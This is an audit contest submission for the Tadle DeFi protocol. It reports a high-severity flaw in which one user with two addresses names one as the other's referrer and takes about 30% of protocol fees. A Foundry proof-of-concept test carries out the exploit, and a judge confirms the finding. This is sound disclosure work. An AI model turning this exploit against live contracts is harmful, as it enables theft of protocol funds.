Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Protocol users can steal from protocol fee by gaming referral system

wellbyt3

Background

This vulnerability assumes that referralInfoMap correctly maps the referree to the referrer.

See my other submission titled: updateReferrerInfo() incorrectly sets address in referralInfoMap to referrer instead of referree)

Summary

Malicious protocol users can game the referral system by:

  • Creating two addresses: A1 and A2

  • A1 calls updateReferrerInfo() sending A2 as referrer parameter

  • A1 calls createTaker() on an offer.

  • Assuming referral rate is 30%, the malicious user can steal 30% of the protocol fee

Vulnerability Details

Here's a POC (add to PreMarket.t.sol).

For the POC to run correctly, update this line in SystemConfig.sol to the following:

ReferralInfo storage referralInfo = referralInfoMap[_msgSender()];

POC:

function testMaliciousUserGamesReferralSystem() public {
// 1. Malicious user owns 2 addresses where attackerAddr1 acts as the referree and attackerAddr2 acts as the referrer
address attackerAddr1 = vm.addr(0x1234);
address attackerAddr2 = vm.addr(0x5678);
​
// 2. attackerAddr1 sets attackerAddr2 as referrer
vm.startPrank(attackerAddr1);
systemConfig.updateReferrerInfo(attackerAddr2, baseReferralRate, 0);
vm.stopPrank();
​
// 3. Create the offer that attackerAddr1 will take
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
20_000_000e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.stopPrank();
​
// 4. attackerAddr1 calls createTaker() taking the offer
vm.startPrank(attackerAddr1);
deal(address(mockUSDCToken), attackerAddr1, 100000000 * 10 ** 18);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, 1000);
​
// 5. attackerAddr2 receives the referral bonus
uint256 attackerReferreralBonusBalance = tokenManager.userTokenBalanceMap(address(attackerAddr2), address(mockUSDCToken), TokenBalanceType.ReferralBonus);
assertGt(attackerReferreralBonusBalance, 0);
}

Impact

Protocol loses ~30% of protocol fees to malicious users that game the referral system.

Tools Used

Manual Review / Foundry

Recommendations

Right now, updateReferrerInfo() is set to external allowing anyone to game referral system. You may need to use a more centralized solution like affiliate tracking software to manage the referral system to prevent this. That said, I'm not an expert on on-chain referral systems, so there may be another way to do this in a decentralized fashion I'm unaware of.

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-SystemConfig-updateReferrerInfo-msgSender

Valid high severity. There are two impacts here due to the wrong setting of the `refferalInfoMap` mapping. 1. Wrong refferal info is always set, so the refferal will always be delegated to the refferer address instead of the caller 2. Anybody can arbitrarily change the referrer and referrer rate of any user, resulting in gaming of the refferal system I prefer #1500 description the most, be cause it seems to be the only issue although without a poc to fully describe all of the possible impacts

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.